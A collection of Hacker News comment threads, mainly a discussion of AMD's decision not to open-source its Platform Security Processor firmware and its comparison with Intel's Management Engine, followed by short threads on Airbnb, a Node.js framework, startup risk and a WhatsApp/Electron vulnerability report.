AMD has no plans to release PSP code - <AUTHOR> https://www.reddit.com/r/Amd/comments/6o2e6t/amd_is_not_opensourcing_their_psp_code_anytime <comment><USER3> For everybody wondering: PSP stands for Platform Security Processor, a secure enclave in the processor and AMD's version of the Intel Management Engine.

Quoting from Libreboot:

 _As such, it has the ability to hide its own program code, scratch RAM, and any data it may have taken and stored from the lesser-privileged x86 system RAM (kernel encryption keys, login data, browsing history, keystrokes, who knows!). To make matters worse, the PSP theoretically has access to the entire system memory space (AMD either will not or cannot deny this, and it would seem to be required to allow the DRM "features" to work as intended), which means that it has at minimum MMIO-based access to the network controllers and any other PCI /PCIe peripherals installed on the system._

<comment><USER4> basically same thing for any baseband processor - they have full DMA and there's nothing you can do about it.

<comment><USER5> Well, that's not true. Sure, connect it over PCIE and all bets are off, but connect it over USB and you should be fine. If you're being super careful buy a Bluetooth 3G module.

<comment><USER6> With PCIE you even have the IOMMU which can prevent DMA.

<comment><USER7> Yeah, but apparently the PS4 was originally hacked through bugs in the IOMMU. I basically don't trust an IOMMU that I don't have the source to and that hasn't been formally verified (so all of them).

</comment></comment></comment></comment></comment><comment><USER8> One thing that kind of bothers me is that I keep seeing people justify this decision by mentioning that AMD may be using third party source code which they do not have the license to release.

My issue with that is that I don't see how it prevents AMD from releasing a super stripped down (essentially disabled), but still closed source version of the firmware. There may very well be a valid justification for not doing so - I just don't know.

An even better approach would be to allow the system to run without the firmware at all. If I remember correctly, some Intel machines will run for 30 minutes without the firmware, but will shut down after the time elapses. If true, that at least proves that it's not essential for system operation.

In the case of Intel, surely they could have disabled this 30 minute timer on the consumer CPUs (just like how they disable ECC support).

<comment><USER9> I think the justification is economic. They don't remove it because it's not clear that there is a market for not having ME. The reason (I think) they remove ECC support is that people are willing to pay extra for it, so they remove it so you are forced to pay extra. If they removed ME in consumer CPUs, they wouldn't sell any more consumer CPUs and their enterprise management system wouldn't be any more popular.

There are also some additional problems. Intel ME is used by Linux quite heavily (rather than talking directly to the embedded controller) which means that certain things can become quite flaky. I have Coreboot on my X220 with me_cleaner, and my machine seems to freeze randomly (it's definitely not the 30-minute timer, I just think it's IO being deadlocked for some reason). While your machine may appear to work without ME, there are almost certainly features that won't work.

<comment><USER10> It's quite easy to build CPUs which have features disabled at manufacturing by one-time fuses, or laser fuses. Also there is undoubtedly a (maybe small) bin of CPUs which have failed QA only because of a fault in the management engine.

Back in the days of the 486SX/DX, it was far more normal to sell processors with features _disabled_ for _less_ money. Why don't AMD and Intel want to monetise their management features?

<comment><USER11> > Why don't AMD and Intel want to monetise their management features?

They do, most machines don't have remote management firmware and chipset features installed.

As for why the ME is present on all hardware - it would be a shame if your consumer CPU couldn't _securely_ decode super-4K-full-ultra-HD videos, right?

Besides DRM, I think the ME is also used for SGX.

 _Intel(R) Software Guard Extensions (Intel(R) SGX) is an Intel technology for application developers seeking to protect select code and data from disclosure or modification._

Maybe Intel wants to create some "ecosystem" of software utilizing SGX (because vendor lock in) and for that they want as large hardware base as possible. That's just a guess, I haven't read Intel docs and IDK if any off- the-shelf SGX software exists yet, but I have seen similar ideas in some AMD PSP PDFs.

edit:

FWIW, Intel Wikivertisement on SGX:

 _The introduction of SGX has a large impact on the security industry. It shifts how security is being achieved and lowers the attack surface area of projects. One example of SGX used in security was a demo application from wolfSSL using it for cryptography algorithms. One example of a secure service built using SGX is Fortanix 's key management service. This entire cloud based service is built using SGX servers and designed to provide privacy from cloud provider. An additional example is Numecent using SGX to protect the DRM that is used to authorize application execution with their Cloudpaging application delivery products._

The last one seems like something that could benefit from SGX on end-user devices: [https://www.numecent.com/cloudpaging/](https://www.numecent.com/cloudpaging/)

<comment><USER12> AFAIU SGX has nothing to do with the ME. It's entirely in the CPU and MMU. SGX is more like ARM's TrustZone, except it can be utilized by multiple, independent pieces of unprivileged code. SGX is pretty slick. The only real problem is that 1) Intel has done a horrible job of educating developers, 2) Intel's PKI scheme for remotely verifying authenticity of an enclave (e.g. for DRM schemes) requires huge on-going license payments to Intel, and 3) they don't seem keen on rolling it out across their entire processor line-up. All three cases have been and will continue to be serious impediments to uptake because of the confusion they create. Those impediments are likely to keep SGX niche and underutilized.

<comment><USER11> Thanks, it seems you are right. I thought that the ME plays some role in SGX setup but I can't find a single source for that now. Apparently it's all done with special instructions implemented in microcode.

</comment></comment></comment></comment></comment></comment><comment><USER13> I think this comment on the reddit thread is a pretty accurate take on the whole thing:

"Not that anyone could have seriously expected that.

If AMD makes a business decision to possibly open source the PSP now or in the near future, the first results will be visible 2-3 years later, at best. However, it is VERY likely that there are legal barriers, such as 3rd party code. Maybe they are using a 3rd party RTOS that they cannot publish the sources of? Or maybe some DRM part of the PSP firmware can't be published?

What I'd personally like to see is a minimal PSP implementation (without any noticeable features) that's Open Source, with reproducible build process and a binary of that signed by AMD."

(Source: [https://www.reddit.com/r/Amd/comments/6o2e6t/amd_is_not_open...](https://www.reddit.com/r/Amd/comments/6o2e6t/amd_is_not_opensourcing_their_psp_code_anytime/dke3tja/))

<comment><USER11> > What I'd personally like to see is a minimal PSP implementation (without any > noticeable features) that's Open Source, with reproducible build process and > a binary of that signed by AMD.

There are 3rd party efforts to produce something similar on Intel platforms:

[https://github.com/corna/me_cleaner/wiki/How-does-it- work%3F](https://github.com/corna/me_cleaner/wiki/How-does-it-work%3F)

[https://puri.sm/posts/reverse-engineering-the-intel- manageme...](https://puri.sm/posts/reverse-engineering-the-intel-management- engine-romp-module/)

</comment></comment><comment><USER14> The sad thing is, we can be sure, that AMD is aware of the topic at the C-level and doesn't seem to act in the interest of the customer anyway. Just remember the Reddit AMA earlier this year: [https://www.reddit.com/r/Amd/comments/5x4hxu/we_are_amd_crea...](https://www.reddit.com/r/Amd/comments/5x4hxu/we_are_amd_creators_of_athlon_radeon_and_other/)

</comment><comment><USER15> I'm always mildly surprised to find people posturing that having closed source modules in the CPU is completely intolerable while basically all modern hardware is closed source. Even if they release the source code for the PSP they won't release the verilog of the underlying IP to see how it's implemented. And you'd still run a closed source CPU, with a closed source GPU and a closed source USB controller and a closed source PCI controller etc etc...

How many of the people complaining about the lack of PSP source code are willingly running a closed source GPU driver? How many of them are running Windows, Mac OS or some other closed source operating system?

It reminds me of when people were blowing a fuse over the linux kernel's use of Intel's built-in PRNG.

I'm all for open hardware design but focusing on these particular modules is a bit counterproductive I think, if tomorrow AMD or Intel were to release CPUs without this particular "feature" the surface of attack would not shrink massively.

Hardware is open or it's not. Nowadays it's overwhelmingly _not_ open, so you have to blindly trust AMD, Intel and the variour ARM SoC vendors not to fuck you over[1] and having the PSP source code wouldn't change much about that.

[1] They probably do.

<comment><USER16> The scope matters.

You can get a machine to run reasonably well without relying on closed source graphics drivers. If your GPU firmware is evil in some way, it's on your GPU and you can be pretty confident it won't compromise the rest of your machine or your network. If a driver is compromised, there will be signs of abnormal behaviour (you can inspect what software on your machine is doing at runtime).

With AMD's PSP or Intel's ME, there are no such limitations in how bad things can get. These things could take all the data you have in memory, connect to some shady network location and dump all the data. All the while there is _no_ trace of that activity in your OS, because of none of this nonsense lives in your OS.

<comment><USER15> I guess my point is that as long as the hardware itself is closed source you have to trust the vendor anyway. Suppose the PSP source code was open sourced, how can you be sure it's actually what's being run by the CPU? How can you know certain instructions aren't backdoored somehow?

It makes it a bit more difficult to implement such backdoors of course, but it's still perfectly doable.

Again, I'm happy that people value their privacy and campaign for more open source but it seems a bit myopic to put all our attention on this tiny part of the problem. The risk is that if tomorrow AMD decides to actually open source the PSP many people will think that we won and the battle is over when we've just removed one of thousands of possible attack vectors.

<comment><USER17> Analysts working on the Intel ME can test if its active by testing line voltages around he mainboard. Someone did manage to hard disable it, and it could be proven in how voltages dropped at various points on the motherboard. If all else fails it is still a physical piece of hardware.

<comment><USER15> That's good, but then shouldn't we petition to have a way to physically disable these modules instead of begging for a source code that won't get us anywhere closer to a trusted computing environment? It's a lot easier to validate that something is not running than it is to validate that it's running correctly.

<comment><USER17> Disabling the ME / PSP usually breaks booting. It would require stripped down open source PSP / ME firmware anyway to bypass it during boot.

</comment></comment></comment></comment></comment></comment><comment><USER18> Just for your information to help you do further research: AMD seems not to use the brand name "AMD PSP" anymore. Instead some years ago they began to use the name "AMD Secure Processor". Nevertheless it is just the same: Read the small footnore at [http://www.amd.com/en-gb/innovations/software- technologies/s...](http://www.amd.com/en-gb/innovations/software- technologies/security) which begins with 'AMD Secure Processor (formerly "Platform Security Processor" or "PSP")'.

</comment><comment><USER19> Guess I'll stick with Intel then.

It seems like many in this thread get stuck on the idea that Intel "already has the ME, so what's the point?"

The point is, I prefer Intel due to performance reasons. But I would have changed over to AMD permanently if they open sourced the PSP code, or if they removed the PSP entirely. That would have been their one competitive advantage, and now they've shat all over it, and lost many potential customers.

<comment><USER20> > and now they've shat all over it, and lost many potential customers.

Yes, I'm sure people are turning away in droves from the most competitive AMD processor in a decade because they won't open source their version of ME.

/s

<comment><USER21> Not in "droves", you're right. BUT, there is a very small, privacy-conscious, vocal minority that does not want an obvious backdoor hiding in their CPU. I am one member of that minority, and I won't be purchasing from AMD again until they right this situation.

It's similar to the gaming enthusiast market, though a lot smaller. You can market to that small segment for a big win, because gamers will shell out for the newest GPUs, talk up the hardware online, which leads to increased sales. If AMD would see the benefit of working with this privacy-conscious segment of the market, I believe they would also see, not a major, but also not an insignificant uptick in sales.

</comment></comment></comment><comment><USER22> Previous discussion here that gives more background about the topic:

[https://news.ycombinator.com/item?id=13781408](https://news.ycombinator.com/item?id=13781408)

tl;dr: the PSP is a full computer that lives between the instructions that get sent to your CPU and what your CPU actually executes. It's obviously a huge security problem, because if a backdoor in the PSP gets exploited, you cannot trust your computer in any way, and there is no way for you to verify whether it is being exploited or not. AMD said they might open source it, but even that wouldn't do much to establish trust.

<comment><USER23> right, and releasing the source code is giving a map to criminals to allow them to hack it.

The "no security through obscurity" theory is not entirely true in the real world.

When you push up the cost (money and skill) of a hack then hackers will attack weaker components and so the likelihood of a hack is smaller.

This code is highly secure and would require an enormous amount of specialist knowledge, equipment, and time to extract, analyze and exploit.

The effort involved rules out rational profit motivated individuals because the costs are too high and there are plentiful opportunities for lower cost exploits.

No company releases the source for their DRM code except to legitimately interested parties in controlled circumstances and that is the correct policy from a security perspective.

</comment></comment><comment><USER24> We don't need the fucking code, we need it to just be OPTIONAL. Just an option to FULLY DISABLE IT. Screw everyone who said "open source it" instead of "disable it" >_<

</comment><comment><USER25> Very disappointed to hear this. A different decision would have definitely swayed me to buy AMD for my next processor.

<comment><USER26> You do know intel is doing the exact same thing? This isn't a differentiating attribute.

<comment><USER27> Well, you can get a POWER{8,9} workstation [1]; which has a big selling point of having no ME/PSP processor. But it looks a bit expensive.

[1] [http://raptorcs.com/TALOSII/prerelease.php](http://raptorcs.com/TALOSII/prerelease.php)

<comment><USER18> I don't know the plans with TALOS II, but those who are interested in what happened to the original Talos Secure Workstation crowdfunding might be interested in the following article, which I think anybody, who is interested in how an alternative could look like, should read:

> [https://www.crowdsupply.com/raptor-computing- > systems/talos-s...](https://www.crowdsupply.com/raptor-computing- > systems/talos-secure-workstation/updates/the-state-of-owner-controlled- > computing-as-talos-winds-down)

</comment></comment></comment></comment><comment><USER28> Curious what giants like Google do in these cases. I assume in their vast farms of servers there are post-2006 intel and/or post-2013 amd chips.

Do they simply use the features these processors and their OSes provide? Do they get a special deal to look under the hood? Something else entirely?

<comment><USER18> > Curious what giants like Google do in these cases. I assume in their vast > farms of servers there are post-2006 intel and/or post-2013 amd chips.

As far as I know Google mostly uses Xeons in their server farms, but also some POWER9 servers (for example cf. [https://cloudplatform.googleblog.com/2016/10/introducing- Zai...](https://cloudplatform.googleblog.com/2016/10/introducing-Zaius-Google- and-Rackspaces-open-server-running-IBM-POWER9.html)) - many people say this is "some kind of Google's insurance against Intel/x86":

> Do they get a special deal to look under the hood?

It is well-known that the largest buyers of Xeons (plausible names are Google, Microsoft, Amazon, Facebook, Alibaba and some others) have access to special versions of Xeons that have special features enabled that are disabled in the versions sold to the general public. One article giving hints into this direction is

> [http://semiaccurate.com/2016/11/17/intel-preferentially- > offe...](http://semiaccurate.com/2016/11/17/intel-preferentially-offers-two- > customers-skylake-xeon-cpus/)

One such feature that is talked about is having access to an FPGA (why did Intel buy Altera again) and it is well-known that Microsoft uses FPGAs for Bing:

> > [https://blogs.microsoft.com/next/2016/10/17/the_moonshot_tha...](https://blogs.microsoft.com/next/2016/10/17/the_moonshot_that_succeeded/)

> [https://www.golem.de/news/microsoft-weil-cpus-zu-langsam- > sin...](https://www.golem.de/news/microsoft-weil-cpus-zu-langsam-sind- > muessen-fpgas-her-1705-127784.html) [German article]

With this information I would bet that they have a special deal to look under the hood.

</comment></comment><comment><USER29> Never heard about PSP before. Looks like another corner of the computer world in total lockdown and relies on security through obscurity. Not gonna work forever but keeps all but the talented people out. Problem is there are many talented people out there.

<comment><USER30> > Not gonna work forever but keeps all but the talented people out. Problem is > there are many talented people out there.

I really wish it could be disabled because once these talented people are in; you, your antivirus or operating system would never know.

</comment></comment><comment><USER31> It's safe to assume hardware and software is completely and totally backdoored. It's done with NSLs and co-operation of companies or compromising employees, projects, standards and other tricks which are child's play for most government agencies.

That makes the idea of using technology to gain some sort of privacy from state level actors with infinite resources and man power to thwart you a total nonstarter that can at best deliver a false sense of security and at worst more serious consequences for those who may need it.

The bottom line is established power is paranoid and wants to monitor all communication whatever they may proclaim publicly and it appears from hind sight and what we now know they have always done it.

</comment><comment><USER32> What can we do about this? This is completely unacceptable! Note, I'm not referring to the source code, I could care less, I'm referring to removing this obvious breach of privacy that _will be_ used by governments.

<comment><USER17> Don't support companies that use backdoor bullshit like this. That, however, limits you to POWER9 and Risc-V computers.

<comment><USER18> > That, however, limits you to POWER9 and Risc-V computers.

Where can I buy a RISC-V computer?

I.e. not only some microcontroller board "which is just a much faster Arduino", but a board that has the usual capabilities that one expects from a computer such as GPU, ethernet, USB jacks, audio in/out (either audio jack or via HDMI), possibility to connect a SSD, and perhaps an SD card slot and RAM slots to increase the RAM if one desires.

</comment></comment></comment><comment><USER33> For the uninitiated; what good does this PSP to the system?

<comment><USER34> It allows for a richer bootstrap than the x86 BIOS/UEFI, including checking signatures for the boot device.

This helps mitigate attacks like persistent rootkits that alter the OS to mask the presence of malware.

However, as a supervisor processor, the PSP is also a risk itself. If a well funded state setup a shipping interdiction on import or export, they could alter the PSP to insert their malware and we wouldn't be able to audit it.

This is a gift from all of those mobile SoCs that might've gotten signed bootloaders initially just to protect the subsidy. Part of the overall "death of the general purpose computer" (see Doctorow for more).

<comment><USER35> How can you protect against this attack vector? Could you dump & hash the PSP firmware, then compare with other non-imported hashes to check for tampering?

<comment><USER34> I doubt it -- if it was designed well, the PSP won't reveal anything about itself to the x86 processor and won't have any off-chip memory. I think the state-of-the-art is the Apple Secure Enclave Processor, which is probably old enough to have inspired some of the PSP design.

Maybe a side-channel attack could help reveal the PSP firmware or other vulnerable design elements. But I'm pretty pessimistic -- the number of organizations/people capable of investing in the time and equipment necessary to do this is low.

</comment></comment></comment></comment><comment><USER36> Is there any good alternative to AMD or Intel processors?

EDIT: Is there any good alternative to AMD or Intel processors? Like more open ones?

<comment><USER37> Depends on what you use a computer for. Atmel (Raspberry Pi) and Snapdragon (cell phone) chips come to mind.

<comment><USER18> > Atmel (Raspberry Pi)

The BCM2835/BCM2836/BCM2837 that is used in the RPi is made by Broadcom, not Atmel.

<comment><USER37> Thank you for the correction.

</comment></comment></comment></comment><comment><USER38> Open sourcing the PSP code (or probably any other firmware) may not help protect you (or anyone) in terms of security or privacy.

Here is where open source is different from free software, and this is why free software is better than open source.

Say for example, ddwrt, a very popular firmware used in several routers. Or simply saying, Linux (kernel) + busybox, a very popular combination of some open source codes used in several embedded systems: They are simply open source when they run on those systems, not free software. You can't replace their code with some (custom) versions most of the time.

All you get is the source code, you may not be allowed to run custom version. You may not even be able to confirm if the code they gave is the code that is actually being run on those devices.

As always said, that is enough to fit to the terms of "open source". And yes, just another reason why free software is (almost always) better than open source.

<comment><USER39> Agreed, but open-source is a necessary precondition for free software.

</comment></comment><comment><USER40> Looks like high performance comes at a security cost. It's a good thing projects like RISC V and certain boards like the TALOS exist or else it'd be a hell of a time. Has anyone here tried some tech from SiFive? They appear to have RISC V boards for sale.

<comment><USER41> RISC-V is only available in microcontroller form for now.

</comment></comment><comment><USER42> Excuse my French but what a fucking surprise. Who ever thought they would? That's right, I did.

Hence I'm a bit pissed off right now. But even though I was dumb enough to believe, at least I was smart enough to wait for it, and did not waste my money.

</comment><comment><USER43> I'd settle for the ability to verifiably disable the PSP.

</comment><comment><USER44> I wonder, is there some way mathematically that software could be written that's still secure (or unfeasibly difficult to crack) when running on a system with AMD's PSP or Intel's IME?

<comment><USER45> There isn't. PSP/IME can modify any software's code or data at any time.

</comment></comment><comment><USER46> Side tracking, but ARM really is everywhere now. Even inside x86 chips!

</comment><comment><USER47> Isn't this exactly what encrypted ram is for? Insecure DMA access to all of memory isn't such a big deal if the contents are encrypted.

</comment><comment><USER48> Are Ryzen and Threadripper affected? If so, I would change my opinion on AMD, and chose Intel instead for my next home computer.

<comment><AUTHOR> Every Intel CPU since 2006 and every AMD CPU since 2013 has this stuff. If you care about this possible solutions are: buy pre-2006/pre-2013 hardware; go through some procedure to remove the ME[1]; forget x86 entirely (ARM?)

[1]: [http://hackaday.com/2016/11/28/neutralizing-intels- managemen...](http://hackaday.com/2016/11/28/neutralizing-intels-management- engine/)

</comment></comment><comment><USER49> If only there was a foss cpu that you could easily install on a fpga - <USER2> would be really great.

</comment><comment><USER50> Backdoor confirmed.

</comment><comment><USER51> Is there any reason why people were (seemingly) expecting this, or was it just an idea that gained momentum that AMD never actually suggested or considered?

<comment><USER52> It was brought up in a subreddit thread and an AMD PR replied to it saying they'll look into it or something a long the line.

The thread was basically everybody saying they would buy AMD if they release the code because they'll be the only friend CPU towards the open source community.

This was actually awhile ago, I was the reading the thread too.

</comment></comment><comment><USER53> F __*k noobs manipulated by these nonsense. Intel does the same thing, if you want freedom, build your own

<comment><USER54> The number of people on this planet with the singular knowledge to build a modern processor, from scratch, I would estimate is well under 1,000. The number with the knowledge and the resources to do so is even lower.

Telling someone if they don't like their processor choices to "build their own" is like telling someone to build their own ISP/Telco service if they're not happy with the sole Comcast offering in their area.

<comment><USER49> > The number of people on this planet with the singular knowledge to build a > modern processor, from scratch, I would estimate is well under 1,000

I am pretty sure that most EE/CE students at some point or another implement a basic processor on a fpga. That being said, I am not sure how many of them would be able to build a "modern" one.</comment></comment></comment>


Dear Foursquare. A Breakup Letter - <AUTHOR> https://medium.com/life-tips/dear-foursquare-c7c441fdf25e <comment><USER2> B-o-o-r-r-i-i-n-n-g-g!!!

This tedious "Dear John" letter to a website or piece of software was moderately interesting the first time someone wrote one. By the 4376th lazy "me too" copy, it has become totally tedious.

Please try thinking up an original idea. It can be quite fun.</comment>


Airbnb Sues Over New Law Regulating New York Rentals - <AUTHOR> http://www.nytimes.com/2016/10/22/technology/new-york-passes-law-airbnb.html <comment><USER2> As they should. If you own a home or an apartment you should be free to monetize it* .

* - I mean legally. I am not advocating booting paying tenants on leases because you want to jack up rents or rent on AirBNB.

<comment><USER3> Why? Being able to do business is not inherit part of the property rights.

From egoistical point of view I do hope that AirBnB succeeds because that would give us lines of attack against DRM and EULAs

<comment><USER2> I disagree. People own property as assets and the point of an asset is that it everything is for sale for the right price. So in that same vein are you saying since you bought a car (property) you should not be allowed to sell or rent it? Or some land that happens to have oil on it: nope, you're unable to harvest those resources. The same goes for, or should, games digital or not, we should be able to buy and sell them.</comment></comment></comment>


Show HN: CoServ, a light-weight web framework in Node.js - <AUTHOR> http://www.coservjs.org

<comment><USER2> Why?

<comment><AUTHOR> Yes, there are many interesting things in coServ. Below are some of them:

. Pages of a website usually repeat themselves in a big way. coServ help developers to break up pages into smaller regions and blocks. By doing so, we have better chances to reuse blocks. . Blocks are like the server side web components. . You can embed Javascript code not just in HTML, but into CSS or even Javascript itself. That gives you lots of power to write very concise codes.

If you're interested, you can check this slide: [https://speakerdeck.com/benlue/an-amazing-web-framework- for-...](https://speakerdeck.com/benlue/an-amazing-web-framework-for-node-dot- js)

<comment><USER2> I asked because the problem with the Node community is that everyone creates a new framework instead of using/improving what already exists. You don't seem to have a good reason for creating a new framework, other than not knowing about the other tools or understanding the reasoning for the decisions they've made.

There are tons of absolutely excellent, battle-tested Node frameworks that do all the things you want coServ to do, and they've been around for a long time now. Express[1] is hugely popular, and it even forms the basis of other frameworks (like Sails[2]).

And, regarding your slide: Node doesn't need its own Rails because it isn't often used the same way Ruby is.

When you do want to create a Rails-like project, you can easily start out with Express, Tower[3], Geddy[4], or Sails. You just add components as you go using npm. Need ORM? Just plug it in.

With your own framework, you're not going to have nearly as many users. That means it won't be tested, hardened, and improved as much as the existing, popular frameworks. It also means that people who inherit your code will have to learn yet another framework to figure out how to maintain it.

Side note: creating dynamic HTML/CSS/JS with JavaScript isn't a good idea because it isn't portable and encourages mixing of intents. If you use Jade[5], SCSS (which you seem not to like for some reason), or LESS[6], you can reuse the views with pretty much any other server-side language.

1\. [http://expressjs.com](http://expressjs.com) 2\. [http://sailsjs.org](http://sailsjs.org) 3\. [http://tower.github.io](http://tower.github.io) 4\. [http://geddyjs.org](http://geddyjs.org) 5\. [http://jade- lang.com](http://jade-lang.com) 6\. [http://lesscss.org](http://lesscss.org)

<comment><AUTHOR> Thanks for your comments. I agree with you that there have been lots of framework (Express, Koa, Sails, Angular, Hapi, Total, React/Flux, etc) in node, but there are still something missing. Each framework has its own merits, and I don't really like to go over who miss what kind of argument. I just like to share some view points with you:

. Everyone loves to reuse code, but we don't really have any framework which could help us to achieve that. In coServ, we design 'block' which is similar to what 'class' means to OOP. If you check demo of the coServ website, the source code of the example showing two RSS feeds is actually much shorter than the example of showing one. That's the power of code reuse. Also, 'block' is like a server side web component ([https://www.polymer- project.org](https://www.polymer-project.org)), and web component, imho, is very promising.

. Many projects try to solve problems by introducing new syntax over existing standard. Sometimes that's necessary because syntax is the the exact problem they want to solve (e.g. coffee script). However, if everybody does that we'll have fragmentation issues. Based on that, I'd prefer EJS over Jade as the template engine, and that' why we use a EJS-like template engine in coServ. Actually, that's one of coServ's missions: don't create new syntax for developers to learn unless it's absolutely necessary.

. In my slide I use Rails as a metaphor to point out that we may need a more advanced web framework for node. In reality, coServ is nothing like Rails (well, it's Sails emulating Rais, at least that's what they said in their website). coServ is much cleaner and more concise: not just in framework itself, but also web applications created by coServ.

. I agree that dynamic HTML/CSS/JS would produce none-portable codes. We use dynamic HTML/CSS/JS in coServ as a convenience so we don't have to invent syntax or even a new system. Portability or reusability is achieved by 'blocks' as mentioned earlier (please try the RSS example in coServ demo).

I understand a new framework has to fight it's chance to be tested and used. Sometimes we create things not because we know it's going to be very popular but because we believe things could be done in a better way. If I could, I'd invite you to check the source of the coServ demo. Look for the 'index/blocks' directory. It's really simple and straight forward. I can promise that.</comment></comment></comment></comment>


Paul Buchheit: Evaluating risk and opportunity (as a human) - <AUTHOR> http://paulbuchheit.blogspot.com/2009/09/evaluating-risk-and-opportunity-as.html <comment><USER2> I think about outcomes rationally, but these days, I tend to think about opportunity cost a lot more intently. Sure, if you tank a startup, you likely lose only your investment, and you'll probably learn a lot. Problem is, you've also just spent N years of your life doing little but working like crazy.

If you're lucky, you've got about 80 years to enjoy on this planet. You've got about 15 of those as a young adult. How much are they worth?

(And just to pre-empt the obvious reply: yes, you might enjoy working more than anything else. If so, more power to you. I'm only saying that you've got to take opportunity cost into account.)

<comment><USER3> > Sure, if you tank a startup, you likely lose only your investment, and > you'll probably learn a lot. Problem is, you've also just spent N years of > your life doing little but working like crazy. If you're lucky, you've got > about 80 years to enjoy on this planet. You've got about 15 of those as a > young adult. How much are they worth?

I have recently come to the thinking that a life in search of fun and happiness leaves one feeling empty in the longer term, where a life with intense focus on a cause you deem worthy will have plenty of fun and happiness along the way.

Now, most people are kind of in a borderland where they're not focused on something intensely purposeful, nor are they enjoying their life. It's a sort of limbo. But to get out of that, I think focusing on finding something worth striving hard for that will produce plenty of short term joy and enjoyment to go along with long term fulfillment.

<comment><USER4> _intense focus on a cause you deem worthy_

Such as, to pick a startup at random, online ticket sales? Is that -- by itself, without any consideration of reward or profit -- worth the sacrifice? The answer for this, and for 99% of other startups, is HELL NO.

<comment><USER3> Business is just problem solving. It's like playing a slow paced, higher stakes video game that you get real money for beating instead of virtual money. Now, it's more complicated than even a complicated game, and the rules or winning conditions aren't always clear. But once you get acclimated, there can be a sublime beauty and enjoyment to doing almost _any_ sort of business.

Smart people who don't initially like the more persona-driven types of business often become the best businessmen. Engineers, etc - business is just critical thinking, and getting it done. I've found enjoyment in many types of business, and just "doing business" (solving problems) is a right good time.

<comment><USER5> At the risk of sounding crude, I experimented with all sorts of drugs and sex in college, but the best high I've found yet is scoring business.

Maybe I am a money loving robot, but that's my position on the matter.

</comment></comment></comment></comment></comment><comment><USER6> You can very roughly divide techies into a few groups: people who would rather work for a salary, people who are ambivalent about a salary job and starting a startup, and people who have made it their mission to start a startup.

For the first, there is probably some satisfaction in helping people's XML- based loan transactions reach the bank, etc. Y Combinator is perfect for the second group -- they can give it a shot and if they fail, hey, they'll probably have a great story to tell their interviewer. The last group probably realizes the odds are against them, but with enough attempts they think they'll make it (and if not they loved doing it anyway).

I'm definitely in the third group. The way I evaluate risk and opportunity is I imagine what kind of a life I could live: As an employee I could have a positive effect on thousands of people who need the utilities I'm building for them. As a researcher I _might_ accomplish something on the order of curing Polio.

But I have too many things I want to do and it requires capital to get them all started. Otherwise, it would take many lifetimes to do them without capital. I want to experiment with creating projects that have a positive impact on society. So for me the risk is minimal considering if I don't try to create a successful startup, I'll be miserable. I'm just not the type of person who can settle for a job. Sometimes I wish I were, but I'm not.

</comment><comment><USER7> This is your human lint:"its," not "it's." Second paragraph, '20 percent of it's value.'

/me goes back to reading.

Edit: okay, finished. Great observations.

> "[...] These things all raise the expected value (in my mind at least), so > if they are mostly true, and I'm excited about the best-case outcome, and > I'm comfortable with the worst-case outcome, then it's probably a good > gamble."

'If I'm excited about the best-case outcome ...'

This can be a big problem for some people.

I like difficult things, but I'm excited by freedom, and the "best-case" outcomes for a lot of my really 'ambitious' ideas just don't sweep me off my feet. If the best outcome is lots of money for lots of work, for instance ... well, I do lots of work for no money at all right now, but is it worth shouldering that "moral weight" that I hear doing an ambitious startup entails?

A best-case outcome for me is one that I produced without committing myself to do so. Maybe I'm just a coward, or maybe I've just been burned by committing myself too rapidly in the past.

I'm doing a startup, but it's really just a small business with some friends that happens to run custom software. Maybe it'll turn into something more, but I'm not committing to that!

;)

</comment><comment><USER8> I think the "IF" part from "If I'm comfortable with the worst-case outcome, then I can move without fear and focus my attention on the opportunity" is the most important part.(Assuming I have clearly evaluated the risks) People probably take it for granted that they are comfortable or focus more on avoiding the worst-case outcome than focusing more on the opportunity.

</comment><comment><USER9> I try to think about the best case, the worst case, _and_ the most likely case, and also how easily each of those cases are avoidable.

For example, the worst case for starting a startup isn't that you learn a lot. It's that you continue the startup well past the point where you're learning anything, chasing a dream that was impossible to begin with, passing up other opportunities that would be far more productive.

But this outcome is fairly easy to avoid, and entirely under your control. You just have to take stock periodically and have the courage to call it quits if it becomes obvious that you're on a fool's errand. Basically, re-evaluate risk and opportunity at each step along the way to see if your upside is still the upside you thought it was, and if any further risks have accumulated to the downside.

<comment><USER10> > But this outcome is fairly easy to avoid... You just have to take stock > periodically and have the courage to call it quits if it becomes obvious > that you're on a fool's errand

It's only "easy" in the same sense that it's easy to make money on the stock market; you just buy low and sell high.

</comment></comment><comment><USER11> If I had to choose between going through life provincial, delusional or cynical, I would definitely choose some blend of delusional and cynical.

</comment><comment><USER12> Another thing ppl dont do is think about their historical peer group. In their immediate peer group what they are doing might be considered daring and pushing the boundaries. But, they don't stop to consider that such things have been done innumerable times before, and they are in good company.

Plus, I'd rather use my life on some fringe theory with potential high payoff (intelligent design) than stick with the crowd. I'm only one life out of billions, and most don't take the risk to expand humanity's horizons, and most spend their lives pursuing pleasures. So, I'm not hurting anything by being risky, and the potential loss of pleasure is only one iota out of a vast sea of pleasure experienced throughout the ages.

</comment><comment><USER13> _I think the most common technique is to ask ourselves, "What is the most likely outcome?", and if that outcome is good, then we do it._

For those thinking logically, yes.

Many others (not hn readers, or course) ask themselves, "What is everyone else doing?"

      Marge: What on earth possessed you to get an earring?
      Bart: Milhouse has one.
      Marge: If Milhouse jumped off a cliff...
      Bart: Milhouse jumped off a cliff? I'm there.

[EDIT: Oops, I forgot the </sarcasm> tag. I keep doing that. Obviously, we all make many decisions by following the crowd. Those of us who pride ourselves in being logical would rather not admit it except for the most minor decisions.]

<comment><USER14> _Many others (not hn readers, or course) ask themselves, "What is everyone else doing?"_

Are you seriously saying that HN readers aren't prone to jumping on bandwagons? To the extent that the HN readership is a microcosm of the silicon valley startup culture, this seems profoundly inaccurate -- I can't think of any group more prone to imitation than silicon valley startups.

(Obviously there are some exceptions -- and the exceptions are the successful companies which we all hear about.)

<comment><USER15> I used to jump on bandwagons, but then I changed and started thinking all decisions through on my own, because I noticed that's what everybody else on hn was doing.

<comment><USER9> Me too!

</comment></comment></comment></comment><comment><USER16> "...[E]ven if you're ok with dying, that outcome may cause unacceptable harm to other people in your life."</comment>


I found a WhatsApp security flaw that allowed hackers to read the file system - <AUTHOR> https://www.perimeterx.com/tech-blog/2020/whatsapp-fs-read-vuln-disclosure/ <comment><USER3> > If you're going to use Electron, you HAVE to make sure it is updated with > each update of Chromium.

I never really thought about this, but in retrospect, this is so blindingly obvious, and is almost certainly a potential exploit vector to a wide range of electron-based apps.

<comment><USER4> It sure is. This is why Chrome apps and progressive web apps are great - <USER2> share the Chrome runtime and inherit its hardening, security properties and updates.

